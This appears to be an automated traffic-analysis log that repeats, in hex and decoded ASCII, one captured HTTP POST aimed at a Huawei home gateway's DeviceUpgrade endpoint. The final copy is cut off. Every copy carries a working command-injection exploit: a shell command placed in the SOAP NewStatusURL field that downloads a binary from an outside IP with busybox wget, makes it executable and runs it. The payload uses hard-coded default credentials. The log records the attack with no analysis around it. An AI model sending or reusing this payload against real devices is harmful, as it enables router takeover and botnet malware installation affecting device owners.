Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 